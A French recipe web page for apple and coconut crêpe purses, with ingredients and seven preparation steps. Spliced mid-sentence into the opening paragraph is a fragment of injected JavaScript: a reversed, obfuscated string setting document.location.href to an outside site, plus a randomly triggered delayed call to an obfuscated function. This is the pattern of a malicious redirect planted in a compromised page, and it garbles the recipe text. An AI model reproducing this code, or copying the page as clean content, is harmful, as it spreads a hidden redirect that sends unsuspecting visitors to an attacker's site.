Aumônières aux pommes et à la noix de coco

2021-05-26

Préparez la pâte à crêpes en mélangeant dans un récipient la farine, le sel ajoutez peu à peu l’eau tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, incorporez les œufs l’un après l’autre, puis le lait. Couvrez et laissez reposer pendant 1 heure.

Ingrédients

  • Pour 4 personnes
  • Pâtes à crêpes
  • 100 g de farine
  • 1 pincée de sel
  • 100 ml d'eau froide
  • 100 ml de lait
  • 2 œufs entiers
  • Garniture
  • 3 pommes reinette
  • 1 jus de citron
  • de la noix de coco râpée
  • 1 pincée de cannelle
  • 1 noisette de beurre

Préparation de la recette

Etape 1

Préparez la pâte à crêpes en mélangeant dans un récipient la farine, le sel ajoutez peu à peu l'eau tout en remuant, incorporez les œufs l'un après l'autre, puis le lait.

Etape 2

Couvrez et laissez reposer pendant 1 heure.

Etape 3

Pelez, Coupez-les pommes en petits dés, arrosez de jus de citron pour éviter qu'elles noircissent.

Etape 4

Dans une poêle avec le beurre, sur feu moyen faites fondre les pommes, saupoudrez de sucre en poudre, une pincée de cannelle.

Etape 5

Faites cuire les crêpes.

Etape 6

Au centre de chaque crêpes déposez un petit tas de pommes, une pincée de noix de coco râpée, formez une aumônière, attachez avec de la ficelle de cuisine.

Etape 7

Servez et dégustez avec une sauce au chocolat

Catégories : Ingrédients principaux : , , , , , , ,
Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *